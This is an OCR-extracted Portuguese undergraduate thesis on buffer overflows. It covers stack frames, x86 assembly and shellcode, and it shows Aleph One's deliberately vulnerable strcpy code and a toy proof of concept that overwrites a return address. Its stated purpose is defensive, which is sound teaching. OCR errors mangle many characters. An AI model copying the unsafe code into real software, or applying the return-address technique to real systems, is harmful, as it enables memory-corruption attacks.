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RESUMO
O Buffer Overflow, para a seguranca da informagé&o, € uma vulnerabilidade de
software que se caracteriza pelo transbordamento de uma regido de memoria, ou
seja, 0 evento em que ha a insercao de mais dados em um determinado buffer do

que este é capaz de comporta. O objetivo do presente trabalho € auxiliar o leitor a se

proteger contra o Buffer Overflow através da demonstracdo de quais sdo 0s
mecanismos envolvidos na causa da vulnerabilidade, as técnicas utilizadas para
explora-la, e algumas préticas que podem evitar seu surgimento. A metodologia
utilizada envolveu o estudo de casos de aplicacGes reais, em que um atacante do
sistema vulneravel consegue obter controle total deste através da exploracdo do
Buffer Overflow. A partir dos resultados, foi discutida a relevancia da adequacao as
boas préaticas de processo de desenvolvimento de software seguro. Isso envolveu a
descricédo de atividades que compdem o processo de desenvolvimento seguro, bem
como exemplos de niveis de maturidade corporativa e seus respectivos ambientes.
Sendo assim, o trabalho propde praticas de seguranca que contribuem para a
protecdo de sistemas computacionais, que municiam o leitor com o conhecimento

para melhor criar solu¢des de defesa contra o Buffer Overflow.

Palavras-chave: vulnerabilidade, software, seguranca, protecao.



ABSTRACT

Buffer Overflow, for information security, is a software vulnerability that is
characterized by the overflow of a memory region, that is, the event in which more
data is inserted into a given buffer than it can hold. The objective of this work is to help
the reader to protect against Buffer Overflow by demonstrating which mechanisms are
involved in causing the vulnerability, the techniques used to exploit it, and some
practices that can prevent its occurrence. The methodology used involved the study
of real application cases, where an attacker of the vulnerable system manages to gain
total control of it by exploiting the Buffer Overflow. From the results, the relevance of
conforming to good practices in secure software development processes was
discussed. This involved the description of activities that make up secure development
process, as well as examples of corporate maturity levels and their respective
environments. Thus, the paper proposes security practices that contribute to the
protection of computer systems that provide the reader with the knowledge to better

create defense solutions against Buffer Overflow.

Keywords: vulnerability, software, security, protection.



LISTA DE ILUSTRACOES

Figura 1 — Estrutura do STACK Frame ........c.ooiiiiiieiie et 9
Figura 2 - Cadigo exemplo em linguagem C para demonStragao ..........ccccververiereereriesesesennenns 9
Figura 3 - Chamada a fungao VUINEIAVEL ............ccoeve e 10
Figura 4 - Insercdo do quadro de Pilha ... 10
Figura 5 - Exemplo 2 de cddigo com erro de Buffer Overflow............cccooovvevieivic e, 11
Figura 6 - Exemplo 3 de codigo com erro de Buffer Overflow...........ccccooeoiiiiiiiicncinee, 12
Figura 7 - Caodigo em linguagem Assembly N0 debUQQer ........cccvevvviieiveiesie e 13
Figura 8 - Exemplo de [00p em ASSEMDIY .....ccveiiiiieiie e 18
Figura 9 - Exemplo de codigo ASSembly COM SAITO ........coveivereieieieeicieie e 19
Figura 10 - Prova de conceito: COdigo VUINEIAVEl ............ccooieiiiiiie e 20
Figura 11 - Prova de conceito: alerta de vulnerabilidade ..............ccooooviiiiiininin 20
Figura 12 - Prova de conceito: analise do ASSemMbBIY..........cccccvviiiiiiiiiic s 21
Figura 13 - Prova de conceito: desvio de fIUXO ..........cccccveiiiiiiicic e 22
Figura 14 - Codigo que implementa fUNGAOD SEQUIA..........ccoveieirierieiricie e 23
Figura 15 - Exploracéo falha impossibilitada devido a uso de funcédo segura.............c..c......... 24
Figura 16 - Trecho de cAdigo da prova de CONCEILO .........ccoveererierieiiiie e 26
Figura 17 — Trecho de c6digo restante da prova de CONCEIt0 ........cccccveveevieiieieerie e 27
Figura 18 - Geragdo de payload customizado através do msfvenom .............ccoceeveerennnniennn. 28
Figura 19 - Alterando 0 enderego IP da Vitima..........ccccovviiiiriienieic e 28
Figura 20 - Ambiente de testes — MAquina Vitima...........cccccevieiieie i 29
Figura 21 - Interface de login da aplicag8o VUINEraVel.............cocoreiiiiiiniiniiee e 29
Figura 22 - Recebimento de conexdo e execuc¢do de comando na vitima ...........ccccceeeeeneenenn, 30
Figura 23 — Primeira parte do trecho de cddigo para exploracdo de vulnerabilidade .............. 31
Figura 24 - Segunda parte do trecho de cddigo para exploracdo de vulnerabilidade............... 31
Figura 25 - CriaCa0 de SNEHICOUE .........covviiicecee e 32
Figura 26 - Localizagdo do script em Python para criagdo do Malware ...........cccccovcervrnnnne. 33
Figura 27 - Insercéo de shellcode customizado no cédigo original............ccccevvevviieieecieennenn, 34
Figura 28 - Execucéo do script e verificacdo de criagdo de Malware ..........cccceoviiieninnnnnne. 34
Figura 29 - Arquivo posicionado na maquina da Vitima ...........cccccceeeeie e 35
Figura 30 - Obtencdo de controle da maquina vitima através de codigo malicioso................. 36
Figura 31 - Etapas do processo de desenvolVimento SEQUIO ..........ccvvvrireeieieniesie e 39

Figura 32 - Ferramentas para 0 processo de desenvolVimento............ccceveeveveeieciieseecie e 43



LISTA DE TABELAS

Tabela 1 - Instrugdes aritmeticas unarias com multiplos sufixos da arquitetura x86................ 15
Tabela 2 - InstrucOes aritméticas unarias da arquitetura X86 ...........cccocevereriereneenienieneeneens 16
Tabela 3 - Instrugdes aritmeticas binarias da arquitetura X86 ............cccccevvevviceviese e 16
Tabela 4 - InstrucOes de comparagdo da arquItetura X86 ...........cccoveririreiinieieniese e 17

Tabela 5 - Instrugcdes de desvio Na arqUItELUra X86 ..........cccccvevveiieereeriesiieseese e sre e sae e 17



API
ASLR
BP
CD
CVE
CWE
DEP
DOS
GCC
HTTP

LIFO
NAS
NASM
OWASP
QA
RCE
SP

SQL
TCP
WAF

LISTA DE SIGLAS

Application Programming Interface
Address Space Layout Randomization
Base Pointer

Compact Disk

Common Vulnerabilities and Exposures
Common Weakness Enumeration
Data Execution Prevention

Denial of Service

GNU Compiler Collection

Hypertext Transfer Protocol

Internet Protocol

Last In First Out

Network Attached Storage

Netwide Assembler

Open Web Application Security Project
Quality Assurance

Remote Code Execution

Stack Pointer

System Query Language
Transmission Control Protocol

Web Application Firewall



SUMARIO

(LR RI0] 51U 07X O 4
1.1 ODJELIVO GEIAL.......eciiiiiii bbb 5
1.2 ODbjetiVOS €SPECITICOS .....viiiiiieiieie ettt sre e 5
R I 10 3 ] 0F= 1117 R UR RO 5
1.4 ReSUltad0S €SPEIATOS........ccveieeiiecieieeie ettt e sae e sreeee s 6
1.5 Procedimentos MetOdOIOGICOS ........ccveiuiiieiieiece et 6

2 REFERENCIAL TEORICO ...ttt ettt 7
2.1 BUFFEI OVEITIOW ... e 7
2.2 SNEICOUE ...ttt nre e 13
2.3 LINQUAGEM ASSEMDBIY .....ooiiiiiiiiccece ettt et ae s 15
P e €01V Wo [T o0 (o =1 | (o J OSSR PRRTORPR 19

3 APLICAGOES PRATICAS ..ottt 25
3.1 ApPlICAGEOD 1 - SYNCBIEEZE.......ceieieeiee e 25
3.2 Aplicacao 2 - Free MP3 CD RIPPEN ..c..oiveiecieceecte ettt sts e 30

A RESULTADOS ...ttt et e et e e et e e st e e st e e anteeesnseeesnaneesnneeans 37
4.1 DeSeNnVOIVIMENTO SEQUID ........ccvciiiiieiecie sttt sre e raeste e sreesre e sreeneeas 37
4.2 Exemplos do ambiente COrPOratiVO ...........cccoueiirieiiieninisesieiee e 40

5 CONSIDERACGOES FINAIS ...ttt 44



1 INTRODUCAO

De acordo com um levantamento feito pela Dover Microsystems
(MALKIEWICZ, 2021, n.p), do dia 01 de janeiro de 2021 ao dia 08 de marco de 2021,
haviam 59 vulnerabilidades causadas por buffer overflow catalogadas na base de
dados do Mitre (catalogo publico de vulnerabilidades de seguranca em software).
Devido a natureza do levantamento, tem-se que esse numero refere-se apenas a
falhas encontradas e reportadas legitimamente em produtos de software
comercialmente disponiveis, ou seja, € possivel estimar que o numero é
consideravelmente maior.

A empresa SANS, uma das maiores representantes de treinamentos em
seguranca da informacao do mundo, utilizando o Common Weakness Enumeration ou
Enumeracdo de Fraguezas Comuns (CWE), um padrdo internacional para
agrupamento de fragilidades de seguranca, categorizou a classe de vulnerabilidades
que envolvem o Buffer Overflow como a principal falha de desenvolvimento de
software (SANS, 2011, n.p).

Os Buffer Overflows sdo eventos em sistemas computacionais em que ocorre
o estouro de uma regido de memoria alocada. Em outras palavras, € o0 nome que se

da quando se insere mais dados na memoéria do que foi alocada para um Buffer.

No contexto da definicdo deste trabalho, sdo discutidas as implicacdes e
aplicagbes do Buffer Overflow aos olhos da seguranga ofensiva. Considerando-o
entdo como uma vulnerabilidade em um artefato de software. Sdo analisados os
contextos em que a falha ocorre, bem como as técnicas e ferramentas que um
atacante poderia utilizar para explora-la.

De maneira geral, os ataques mais comuns feitos a aplicacdes que possuem
Buffer Overflow sdo os chamados Denial of Service ou Negacgao de servi¢o (DoS) e
Remote Code Execution ou Execucdo remota de codigo (RCE).

O ataque Denial of Service utiliza do fato que um sistema computacional pode
ser derrubado devido a um Buffer Overflow. Isto ocorre, pois o0 ato de sobrescrever
areas criticas de memoria leva a parada operacional de aplicacdes, e, portanto, de

Servigos.

O ataque RCE é possivel pois, em alguns casos, o Buffer Overflow permite

que a ordem de execucéo da aplicacéo afetada seja redirecionada para uma regiao



de memdria cujo controle € do proprio atacante, resultando na execucdo de um

codigo arbitrario.

1.1 Objetivo geral

Este trabalho tem como objetivo geral demonstrar o funcionamento do Buffer
Overflow para melhorar a compreensdo de seus mecanismos, auxiliando
organizacdes e/ou agentes responsaveis pela seguranca da informacéo na protecao

contra os riscos causados por ele.

1.2 Objetivos especificos

Objetivos especificos:
e Demonstrar de que maneira o buffer overflow é encontrado e explorado;
e Investigar os principais mecanismos de construgdo de software que abrem
brechas para a existéncia de Buffer Overflow;
e Demonstrar mecanismos que evitem ou mitiguem a existéncia do buffer

overflow (diretivas de compilacdo).

1.3 Justificativa

O estudo da falha e das técnicas envolvidas na exploracéo de Buffer Overflow
mostra-se como uma area de importancia na seguranca da informacao. Com o avanco
da tecnologia da informacédo, especialmente no ambito corporativo, a seguranca de
sistemas computacionais passa a acompanhar esse crescimento. Também cresce a
incidéncia de crimes virtuais e incidentes desta natureza. O Buffer Overflow esta entre
as principais classes de falhas exploradas e visadas por grupos criminosos ou
entidades anbénimas. Sendo assim, o estudo de seu funcionamento, técnicas,
ferramentas, ambientes envolvidos e mecanismos de defesa mostra-se relevante para

a area de seguranca da informacao.



1.4 Resultados esperados

Os resultados deste trabalho poderédo contribuir auxiliando organizagdes e/ou
agentes responsaveis a evitar o Buffer Overflow, ajudando os responsaveis pela

seguranca da informacao a melhor se proteger dos riscos causados por ele.

1.5 Procedimentos Metodoldgicos

Esta pesquisa, segundo sua natureza e de acordo com (Wazlawick, 2014, p.
21), é um resumo de assunto, pois busca sintetizar e classificar varios conceitos de
Buffer Overflow quanto a sua natureza técnica.

Quanto aos objetivos, trata-se de uma pesquisa exploratoria, pois pode ser
considerada como o primeiro estdgio de um processo de pesquisa mais longo
(Wazlawick, 2014, p. 22).

No que tange aos procedimentos técnicos, esta pesquisa é bibliografica e
experimental, uma vez que busca-se construir uma base robusta de informacdes ja
produzidas por outros cientistas, sem produzir qualquer conhecimento novo, bem
como sao feitas intervencdes em aspectos de realidade com o objetivo de analisar os
resultados.

Para atingir os objetivos deste trabalho, sdo adotados 0s seguintes passos:

1. Levantamento de materiais e contetdo que auxiliam o desenvolvimento do

trabalho;

2. Refinamento técnico do que esta sendo pesquisado: estudo de técnicas,

ferramentas e praticas utilizadas;

3. Execucdo de experimentos através da criagdo de cenarios capazes de aferir

a efetividade dos métodos estudados;

4. Analise de resultados e sintetizacdo das conclusfes obtidas.



2 REFERENCIAL TEORICO
2.1 Buffer Overflow

Para entender o que sao buffers de pilha é necessério primeiro compreender
COMo 0s processos sdo organizados na memoria.

Os processos sao divididos em trés regibes de memodria: texto, dados e pilha.
Para os objetivos deste trabalho o foco sera o estudo da regido de pilha. No entanto
é dada uma viséao geral do funcionamento das demais.

A regido de texto tem seu tamanho fixo e inclui instru¢des (codigo executavel)
e dados para leitura. Essa regido € normalmente marcada pelo sistema operacional
como “apenas leitura” e, como resultado, qualquer tentativa de escrita nela resulta
em falha de segmentacdo. A regido de dados contém dados inicializados e néo
inicializados, como por exemplo, variaveis estaticas, e seu tamanho pode ser alterado
através de chamadas ao sistema operacional (uma chamada que pode ser utilizada
para este fim em sistemas UNIX chama-se brk). Caso a expanséao da regido de dados
ou a pilha de usuéario excedam o limite da memdéria disponivel, o processo €&
bloqueado e reprogramado para rodar novamente com mais espaco de memoaria, que
é adicionada entre a regido de dados e a pilha.

Segundo Aleph One (s.d), em sua definicdo basica, a pilha € uma estrutura de
dados abstrata frequentemente utilizada na ciéncia da computacdo. Uma “pilha de
objetos” em um sistema computacional reflete as caracteristicas de uma pilha de
objetos no mundo real, ou seja, o Ultimo objeto nela inserido devera ser o primeiro
objeto a ser removido. Essa caracteristica € comumente chamada de Ultimo Entra,
Primeiro Sai ou Last In, First Out (LIFO).

Com a pilha, € definida uma série de operacbes Uteis em sistemas
computacionais. Entre as mais importantes, tem-se a chamadas PUSH e POP, que
significam a insercdo e remocédo de elementos na pilha, respectivamente. Dessa
forma, uma operacdo de insercdo aumenta o tamanho da pilha, adicionando um
elemento ao seu topo, e uma operacdo de remogado remove um elemento de seu
topo, diminuindo seu o tamanho. Essas definicbes de pilha como estrutura de dados
permitem a sua aplicacdo em varios sistemas, incluindo fun¢des de controle de fluxo,
alocacao dinamica de variaveis e passagem de parametro para funcdes, bem como

seus valores de retorno.



Em sua definicdo mais pratica, a pilha € um bloco de memdéria contiguo que
armazena dados. A posicdo de memoria do topo da pilha é armazenada por um
registrador chamado ponteiro de pilha ou Stack Pointer (SP), enquanto a base da
pilha estd alocada em um endereco fixo determinado pelo sistema operacional no
momento da criacdo de cada processo. A estrutura da pilha consiste em multiplos
“‘quadros” individuais (Stack Frames), que representam os ambientes de execucao
de cada bloco logico hierarquico do programa, comumente representados por
fungbes em linguagens como C.

Ao inicio de cada execucdo de uma funcdo, os parametros, variaveis locais e
o endereco de retorno, comumente assinalado pelo valor do Ponteiro de Instrucéo ou
Instruction Pointer no momento da chamada, séo inseridos na pilha, e entéo retirados
ao final. Dependendo da implementacédo, o crescimento da pilha na memaria pode
ocorrer para cima (enderecos altos) ou para baixo (enderecos baixos). Em sistemas
mais comuns, como aqueles utilizados pela Intel, a pilha cresce para baixo. O SP
também depende da implementacdo. Comumente aponta para o ultimo endereco na
pilha.

Outra implementacédo que normalmente acompanha o SP é a do ponteiro da
base ou Base Pointer (BP), cujo nome dado em sistemas baseados em Intel é EBP.
Sua funcgao é apontar para a “base local” de cada quadro da pilha. Ou seja, a cada
chamada de uma nova fungéo, para que seja criado um novo quadro, o endereco de
retorno da fungéo, o Ponteiro de Instrucéo, € inserido na pilha. Em seguida, é inserido
o valor de BP e este entdo € movido para a mesma localizacéo de SP, essencialmente
“recriando” uma nova pilha acima da anterior. O SP €, entdo, movimentado para
indicar a criacdo e remocao de variaveis e argumentos. Ao final da execucdo, SP
retorna para seu endereco inicial e BP assume seu valor prévio que estava
armazenado na pilha, retornando-a, dessa forma, para seu estado anterior a

execucgao da funcdo. Um exemplo segue, na figura 1:



Figura 1 — Estrutura do Stack Frame

Local Variable 3 Low Memory Addresses (0x0000)
Local Variable 2 A
Local Variable 1
Stack Frame — Old EBP

Retum Address

Argument 2

Argument 1 High Memory Addresses (OxFFFF)

—

Fonte: STACK Frame Organization. [S. 1.], s.d.

Em seu artigo denominado Smashing The Stack For Fun And Profit, Aleph One

(s.d) exemplifica o funcionamento da pilha através do codigo em C:

Figura 2 - Cadigo exemplo em linguagem C para demonstragdo

void function(int a, int b, int c¢) {
char bufferl[5];
char buffer2[10];

1

void main() {
function(1,2,3);
1

Fonte: Aleph One. Smashing The Stack For Fun And Profit. [S. I.], 2 nov. 2021.

Ao compilar o codigo mostrado na figura 2 utilizando a flag “-S” do compilador
Colecao de compiladores GNU ou GNU Compiler Collection (GCC), € possivel obter
a saida em forma de linguagem de montagem Assembly.
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Figura 3 - Chamada a funcédo vulneravel

pushl %3
pushl %2
pushl %1
call function

Fonte: Aleph One. Smashing The Stack For Fun And Profit. [S. I.], 2 nov. 2021.

Analisando o cédigo gerado, observa-se que a chamada da fungao “function”,
foi definida pelos comandos da Figura 3.

Como explicado no item 2.1, a fungdo call no contexto mostrado insere o
endereco atual de IP na pilha, para a criacdo do novo quadro de pilha, e entdo o
codigo mostrado na Figura 4 é executado:

Figura 4 - Insercdo do quadro de pilha

pushl %ebp
movl %esp,%ebp
subl $20,%esp

Fonte: Aleph One. Smashing The Stack For Fun And Profit. [S. I.], 2 nov. 2021.

E primeiro utilizada a funcdo pushl para inserir o valor de BP (chamado EBP
na arquitetura do programa) no topo da pilha. Apoés isso, é assinalado o valor de SP
para BP, criando entdo uma “nova pilha” que sera entdo utilizada na hierarquia de
execucao do programa. A instrugdo subl $20, $esp refere-se a alocagéo de espaco
na pilha para as variaveis locais da fungdo function. Vé-se que hé a alocacéo de
dois buffers, de 5 e 10 bytes respectivamente. Porém a memoria € referenciada
apenas em tamanhos multiplos de uma word, ou seja, um buffer de 4 bytes. Sendo
assim, para alocar os primeiros 5 bytes, necessita-se da alocagéo de 8 bytes e para
a alocacéo do segundo necessita-se de 12 bytes, resultando em 20 bytes ao total,
gue serdo subtraidos da posicao atual de SP para a reserva de espaco na memoaria.

Para ilustrar de que forma os mecanismos explicados acima funcionam, é
discutido outro exemplo de cddigo em C que causa, intencionalmente, um Buffer

Overflow, na Figura 5:
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Figura 5 - Exemplo 2 de cédigo com erro de Buffer Overflow

void function(char *str) {
char buffer[16];

strcpy(buffer,str);
void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)
large string[i] = 'A';

function(large_string);

}

Fonte: Aleph One. Smashing The Stack For Fun And Profit. [S. I.], 2 nov. 2021.

Na Figura 5, vé-se que foi utilizada a fun¢do strcpy, da biblioteca padréo da
linguagem C, que tem como objetivo a simples copia do conteudo de um buffer para
outro. Essa funcéo € vista como insegura do ponto de vista de desenvolvimento, pois
ela néo realiza checagem do tamanho do buffer de destino em comparacdo com o
contetido copiado. Em outras palavras, € uma funcao vulneravel a falhas de Buffer
Overflow. Isso é demonstrado no cédigo através da criacdo do buffer
large string, de 256 bytes, que recebe o caractere ‘A’ (Ox41 em hexadecimal)
em toda sua extensao, e que esta sendo passado como parametro para a funcéo
function, que entéo tenta copiar todo o contelido de l1arge string para o buffer
buffer, que possui apenas 16 bytes de extensdo. Ao executar 0 programa
resultante, tem-se que a funcdo strcpy esta sobrescrevendo bytes além do que foi
alocado na pilha, incluindo valores passados por parametro antes da execugao, como
da variavel str e até mesmo do valor de retorno ret, resultando, por fim, numa falha
de segmentacao, pois 0 endereco de retorno lido apos o término da funcédo é foi
alterado e é invalido (instancias do caractere ‘A’, 0x41414141). Dessa forma, um
atacante pode efetivamente obter controle do fluxo de cédigo do programa vulneravel,
através da manipulacdo dos dados enviados, que podem conter um endereco de
memoria arbitrario.

Neste caso é possivel adicionar que a escrita do caractere ‘A’ de maneira
repetida no buffer do programa € intencional, e faz parte de uma técnica de

exploracédo de Buffer Overflow conhecida como fuzzing, que consiste em encontrar
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espacos de memoéria que podem ser utilizados para a exploracdo de tal
vulnerabilidade.

Figura 6 - Exemplo 3 de codigo com erro de Buffer Overflow

void function(int a, int b, int c) {
char bufferl[5];
char buffer2[10];
int *ret;

ret = bufferl + 12:
(*ret) += 8:

}

void main() {
int x;

X = 0;
function(1,2,3);
x=1;
printf("%d\n",x);
}

Fonte: Aleph One. Smashing The Stack For Fun And Profit. [S. I.], 2 nov. 2021.

O exemplo da Figura 6 é uma modificacao do primeiro exemplo em que ha um
ponteiro 12 bytes acima do buffer2. Como hé 3 variaveis inteiras alocadas como
parametro e cada uma delas tem 4 bytes, sabe-se entdo que o endereco de retorno
RET esta logo acima destes, ou seja, 12 bytes acima de bufrfer2. Como prova de
conceito, tem-se aqui o objetivo de “saltar” a instrucdo que vem logo apds a chamada

da funcdo function, que no caso é o comando de atribuicdo x = 1.

E verificado na Figura 7, através do uso de um debugger, neste caso o GDB, a
efetividade da manipulacéo feita na Figura 6:
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Figura 7 - Cddigo em linguagem Assembly no debugger

[alephl]$ gdb example3

GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.

There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...

(gdb) disassemble main

Dump of assembler code for function main:

0x8000490 : pushl %ebp

0x8000491 : movl  %esp,%ebp

9x8000493 subl $0x4,%esp

0x8000496 : movl  $0x0,0xfffffffc(%ebp)

0x800049d : pushl $0x3

0x800049f pushl $0x2

0x80004al : pushl $06x1

0x80004a3 : call 0x8000470

0x80004a8 : addl  $0xc,%esp

Ox80004ab : mov L $0x1, 0xfffffffc(%ebp)

9x80004b2 : movl Oxfffffffc(%ebp),%eax

0x80004b5 : pushl %eax

0x80004b6 : pushl $0x80004f8

0x80004bb : call 0x8000378

0x80004c0 : addl  $0x8,%esp

0x80004c3 movl  %ebp,%esp

0x80004c5 popl  %ebp

Ox80004ch ret

Ox800O4cT nop

Fonte: Aleph One. Smashing The Stack For Fun And Profit. [S. 1.], 2 nov. 2021.

Apés a fungdo call, no endereco 0x80004a3 (Figura 7), o enderego que
segue é 0 0x80004a8, entdo este é o endereco de retorno apontado pela funcéo que
foi chamada. O objetivo, a partir de entdo, seria saltar a chamada de atribuicdo mov1
S0x1,0xfffffffc (%ebp)no endereco 0x80004ab, resultando entdo na execucao
da instru¢cdo movl S$SOxfffffffc(%ebp),%eax, no endereco 0x80004b2. Sendo
assim, tudo que precisa ser feito € atribuir o valor 0x80004b2 ao enderec¢o de retorno

através da subscricao realizada no Buffer Overflow.

2.2 Shellcode

Uma vez que a falha de Buffer Overflow é devidamente validada, sera definido
o conceito de shellcode. Segundo James C. Foster (2005, p.17), um shellcode é um
codigo que é executado, uma vez que, ha a exploracdo de uma vulnerabilidade de
seguranca causada por Buffer Overflow. Para o contexto estudado, entende-se que é
0 cbdigo a ser injetado na aplicacdo vulneravel para ser executado apés o desvio de
fluxo ter sido bem-sucedido. Dadas essas condicdes, € possivel dizer que o shellcode

normalmente € um codigo bastante restrito e € escrito para realizar apenas uma tarefa
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Oou um conjunto muito pequeno de tarefas, pois normalmente o ambiente delimita
restricdes de tamanho ou variabilidade (bad chars). E possivel que a eficiéncia do
ataque, como o numero minimo de bytes enviado a aplicacdo, seja trocada pela
versatilidade de uma chamada ao Sistema operacional, a furtividade de se utilizar um
shellcode polimorfico, a seguranca de se estabelecer um tunel criptografico ou uma
combinacéo desses fatores.

Do ponto de vista do atacante, um shellcode preciso e confidvel € um requisito
para a realizacdo de exploragbes no mundo real. Isto ocorre, pois, caso o shellcode
nao seja confiavel, pode ocorrer um crash (falha critica que leva ao desligamento) da
aplicacao remota ou o hospedeiro do servico, potencialmente alertando a vitima que
h& algum evento anormal, diminuindo, assim, a furtividade do ataque. De outra forma,
a exploracdo com um shellcode ndo confiavel pode corromper a memoaria da vitima
de tal maneira que ela continua funcionando, mas precisa ser reiniciada para que o
ataque prossiga. Em ambientes de producéo, essa reinicializacdo pode demorar
meses ou ser precedida por um update de algum médulo do sistema que corrige a
vulnerabilidade, reduzindo severamente a possibilidade de ataque.

Do ponto de vista de defesa em seguranca da informacdo, um shellcode
preciso e confiavel é tdo importante quanto para o ataque. Em cenarios legitimos de
testes de intrusdo, € um pré-requisito, pois o pode ficar insatisfeito caso um sistema
em producdo ou aplicagdo critica seja derrubado durante os testes.

Durante o processo de desenvolvimento do shellcode, € comum a utilizacao de
ferramentas para escrever, compilar, converter, testar e depurar o cdodigo. O
entendimento do funcionamento dessas auxilia a criar um shellcode mais eficiente. A
seguir, serdo descritas algumas das ferramentas utilizadas:

NASM (Netwide Assembler — Montador global): O pacote NASM contém um
montador chamado nasm e um desmontador chamado ndisasm. A sintaxe do nasm &
de simples entendimento e leitura, tornando-a preferivel a sintaxe da AT&T, que foi
utilizada nos exemplos da sec¢éo 2.1.

GDB: GDB é o depurador GNU. Foi discutido na se¢do 2.1 um exemplo da
utilizagcéo desta ferramenta para analisar o cédigo fonte de uma aplicacdo vulneravel
a buffer overflow. O GDB é capaz de desmontar funcdes, ou seja, transformar codigo

compilado em codigo assembly através do comando disassemble.
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2.3 Linguagem Assembly

A linguagem Assembly € uma linguagem de programacao de baixo nivel, ou
dispositivos programaveis em geral, construida de forma individual para cada
arquitetura de computador. Dessa forma, diz-se que esta em direto contraste a
linguagens de programacéo tradicionais (alto nivel), que normalmente séo portateis e
podem ser utilizadas em multiplos sistemas e arquiteturas.

Todo processador tem seu préprio instruction set (conjunto de instru¢des) que
pode ser usado para escrever codigo executavel para cada tipo especifico de
processador (Foster, 2005). Utilizando o instruction set, é possivel montar um
programa executavel. Tais instruction sets dependem diretamente do tipo de
processador utilizado (ex.: x86, ARM, etc.). Ndo é possivel executar um codigo
Assembly escrito para um Qualcomm Snapdragon em um Intel Celeron. Sabendo,
entdo, que o Assembly € uma linguagem de programacéao de baixo nivel, & possivel e
viavel escrever programas pequenos e bastante rapidos. Vé-se alguns exemplos em
que um cédigo de apenas alguns bytes em Assembly, caso seja escrito na linguagem
C, tem como resultado final um cédigo de centenas de linhas devido aos dados e
bibliotecas extras adicionados pelo compilador.

Apesar da velocidade, programas em Assembly também apresentam grandes
desvantagens. Entre elas, a portabilidade, a complexidade e a dificuldade de leitura
de projetos grandes.

Instrucbes e comandos em Assembly sdo de simples entendimento quando
isolados. Em muitos casos, instruction sets estdo documentados de forma clara pelos
devidos fabricantes. Para os fins deste trabalho, € estudada a linguagem Assembly
para a arquitetura Intel x86. Na Tabela 1, é possivel observar um exemplo de algumas

instrucdes utilizadas para a movimentagcao de dados:

Tabela 1 - Instrugdes aritméticas unarias com multiplos sufixos da arquitetura x86

Instrucdo Descricdo
mov S,D Atribuicdo de S para D
push S Inserir S na pilha
pop D Retirar topo da pilha e inserir em D
mov(s) S,D Atribuir byte para uma word com sufixo s adicional (tamanho do item movido)
push(s) S Atribuir byte para uma word com sufixo s adicional (tamanho do item movido)
cwil Converter word no registrador AX para doubleword em EAX
cltq Converter doubleword no registrador EAX para quadword em RAX
cqto Converter guadword no registrador RAX para octoword em RDX e RAX combinados

Fonte: INTRO Computer Systems: x64 Cheat Sheet. [S. 1], 2019.
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No exemplo da Tabela 1, tem-se algumas instru¢cdes que sao utilizadas de
forma mais frequente na codificacdo em Assembly. S&o elas, 0 mov, 0 Push e 0 Pop.
Push e Pop, como foi descrito em secdes 2.1 e 2.2 deste trabalho, dizem respeito a
operacdes de insercao e remocao na pilha. O mov é uma operacao de atribuicdo com
dois operandos, copiando o conteido de memadria em uma fonte de dados para um
destino, que sao identificados por registradores.

Existem também instru¢des dedicadas para lidar com operacdes aritméticas,
gue se dividem em unérias e binarias, referindo-se ao niumero de operandos utilizados

em sua chamada. Algumas delas estao contidas na Tabela 2:

Tabela 2 - Instrugdes aritméticas undrias da arquitetura x86

Instrucdo Descri¢do
inc D Incremento de 1
decD Decremento de 1
neg D Negacdo aritmética
not D Complemento Bitwise

Fonte: INTRO Computer Systems: x64 Cheat Sheet. [S. I.], 2019.

Tabela 3 - Instrugdes aritméticas binarias da arquitetura x86

Instrucdo Descricéo

leaqg S, D Carregar o endereco efetivo de Sem D

add S, D Somar SaD

sub S, D Subtrair SaD

imul S, D Multiplicar S por D

xor S, D Operacao l6gica XOR (Ou-Exclusivo) em S para D
orS,D Operagdo I6gica OR (Ou) em S para D
andS, D Operagdo l6gica AND (E) em S para D

Fonte: INTRO Computer Systems: x64 Cheat Sheet. [S. 1], 2019.

Em destaque, na Tabela 3, pode-se citar as instru¢des inc, dec, add, sub e
xor. As instrugcdes inc e dec, respectivamente, fazem a adicdo e subtracédo de
uma unidade no valor contido em um registrador, enquanto add e sub fazem a soma
e subtracdo do valor armazenado em um registrador a outro. A instru¢do xor é
mencionada ndo apenas por ser uma operacao légica de ou-exclusivo, mas também

por ser 0 meio mais eficiente de atribuir ‘0’ a uma regido de memaria. Isso ocorre pois
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independentemente do tipo de variavel que esta sendo manipulada, uma operacéo

XOr em seus bits consigo mesma resultara sempre em um conjunto de apenas bits 0.

Com fim de realizar operac¢des condicionais, sado definidas também no

Assembly x86 instrugdes de comparagao:

Tabela 4 - InstrucBes de comparacdo da arquitetura x86

Instrucdo Descri¢do

cmp S2, S1 Configura as flags de comparacédo correspondentes ao resultado da subtracéo de S1 por S2
Configura as flags de comparacéao correspondentes ao resultado da operagéo l6gica AND
test S2, S1 (E) de S1 por S2
Fonte: INTRO Computer Systems: x64 Cheat Sheet. [S. I.], 2019.

Dentre as instru¢cdes demonstradas na Tabela 4, a instrugdo cmp € utilizada
para realizar operagbes de comparacdo. Ela subtrai os valores dos operandos e
configura, a partir disso, flags (sinalizadores) de comparacdo no processador.
Exemplo: caso o resultado da subtracdo seja negativo, a flag de nimero negativo
passa a ter valor verdadeiro (1), simbolizando que a comparacdo entre os dois

nameros envolveu um minuendo menor do que o subtraendo.

Na sequéncia, cita-se a existéncia dos comandos de “salto”. Sdo os comandos

utilizados para desviar o fluxo de controle de um programa para outra regido de

memoria.
Tabela 5 - InstrucBes de desvio na arquitetura x86
Instrucdo Descricdo Cddigo condicional (com operacéo ldgica)
jmp Label Saltar para Label
jmp *Operando  Saltar para local especifico do Operando
jeljz Label Saltar se igual ou nulo ZF
jne/jnz Label Saltar se diferente ou ndo-nulo ~ZF
js Label Saltar se negativo SF
jns Label Saltar se ndo-negativo ~SF
jg/jnle Label Saltar se maior (com sinal) ~(SFMOF)&~ZF
jge/jnl Label Saltar se maior ou igual (com sinal) ~(SF™OF)
jl/jnge Label Saltar se menor (com sinal) SFMOF
jle/jng Label Saltar se menor ou igual (SF™OF) | ZF
ja/jnbe Label Saltar se acima (sem sinal) ~CF&~ZF
jae/jnb Label Saltar se acima ou igual (sem sinal) ~CF
jb/jnae Label Saltar se abaixo (sem sinal) CF
jbe/jna Label Saltar se abaixo ou igual (sem sinal) CF | ZF

